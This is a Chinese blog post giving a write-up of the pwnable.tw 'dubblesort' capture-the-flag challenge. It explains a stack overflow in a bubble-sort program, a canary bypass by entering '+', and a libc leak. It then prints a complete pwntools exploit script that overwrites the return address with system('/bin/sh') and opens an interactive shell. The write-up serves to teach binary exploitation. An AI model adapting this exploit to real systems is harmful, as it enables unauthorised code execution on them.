美文网首页
[pwnable.tw]-dubblesort

[pwnable.tw]-dubblesort

作者: 2mpossible | 来源:发表于2019-01-31 15:46 被阅读0次
  • 实现了一个冒泡排序的算法,但由于没有对要排序的个数进行限制,所以会栈溢出,但开了canary,我们需要一个既让scanf认为它是合法字符,同时又不会修改栈上的数据,这里可以用+或-,因为他们可以定义正负数,输入name的时候由于没有初始化变量又没有终止符所以可以泄漏libc
  • 栈溢出的时候注意要设置溢出数据的大小排序,最终在栈中的位置是排序后的位置

exp:

#coding:utf-8
from PwnContext.core import *

#context.log_level = 'debug'

binary = './dubblesort'
debug_libc = './libc.so.6'

ctx.binary = binary
ctx.remote_libc = debug_libc
libc = ELF(debug_libc)
ctx.debug_remote_libc = True

p = ctx.start()
libc = ELF('./libc.so.6')

def write_data(data):
    p.recvuntil('number : ')
    p.sendline(data)

#gdb.attach(p,'b *0x56555a1d')
p.recvuntil('name :')
p.send('a'*28)
p.recvuntil('a'*28)
libc_base = u32(p.recv(4)) - 0x1ae244
log.success('libc_base addr : 0x%x'%libc_base)
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
log.success('system addr : 0x%x'%system_addr)
log.success('binsh addr : 0x%x'%binsh_addr)


p.recvuntil('sort :')

num = 35
p.sendline(str(num))

for i in range(24):
    write_data('0')

write_data('+')

for i in range(7):
    write_data(str(0xf0000000))

write_data(str(system_addr))
write_data(str(system_addr + 1))
write_data(str(binsh_addr))

#gdb.attach(p,'b *0x56555af9')

p.interactive()

相关文章

  • [pwnable.tw]-dubblesort

    实现了一个冒泡排序的算法,但由于没有对要排序的个数进行限制,所以会栈溢出,但开了canary,我们需要一个既让sc...

  • house of orange总结

    例题pwnable.tw BookWriter 原理可见https://github.com/shellphish...

  • 【CTF-PWN】pwnable.tw_dubblesort

    pwnable.tw_challenge_dubblesort 首先运行一下大概了解程序的流程: 首先是传入一个n...

  • [pwnable.tw]-Start

    程序很简单,直接用汇编int 80实现的读写退出,没开NX保护,然后有个栈溢出漏洞,先泄漏栈地址,然后往栈里写sh...

  • Pwnable.tw hacknote

    一道适合入门的堆利用题目 需要事先了解 malloc 相关的堆分配机制(fastbin,normal bin等) ...

  • Pwnable.tw Start

    参考了这篇writeup http://dogewatch.github.io/2017/04/10/pwnabl...

  • Pwnable.tw calc

    这题的漏洞还是挺有意思的 先逆向分析一下binary的逻辑 看calc函数 通过get_expr获得输入,会过滤掉...

  • Pwnable.tw orw

    这题还是比较简单的 题目的描述看 显然是要写shellcode来读flag文件 binary会直接执行写入的she...

  • [pwnable.tw]-orw

    考验我们直接编写shellcode的能力,这里注意 对于32位程序,应调用int $0x80进入系统调用,将系统调...

  • [pwnable.tw]-calc

    主要分析思路这篇文章写的很清楚: Pwnable.tw刷题之calc,由于调试的时候发现ebp刚好指向想写入'/b...

网友评论

      本文标题:[pwnable.tw]-dubblesort

      本文链接:https://www.haomeiwen.com/subject/ubaksqtx.html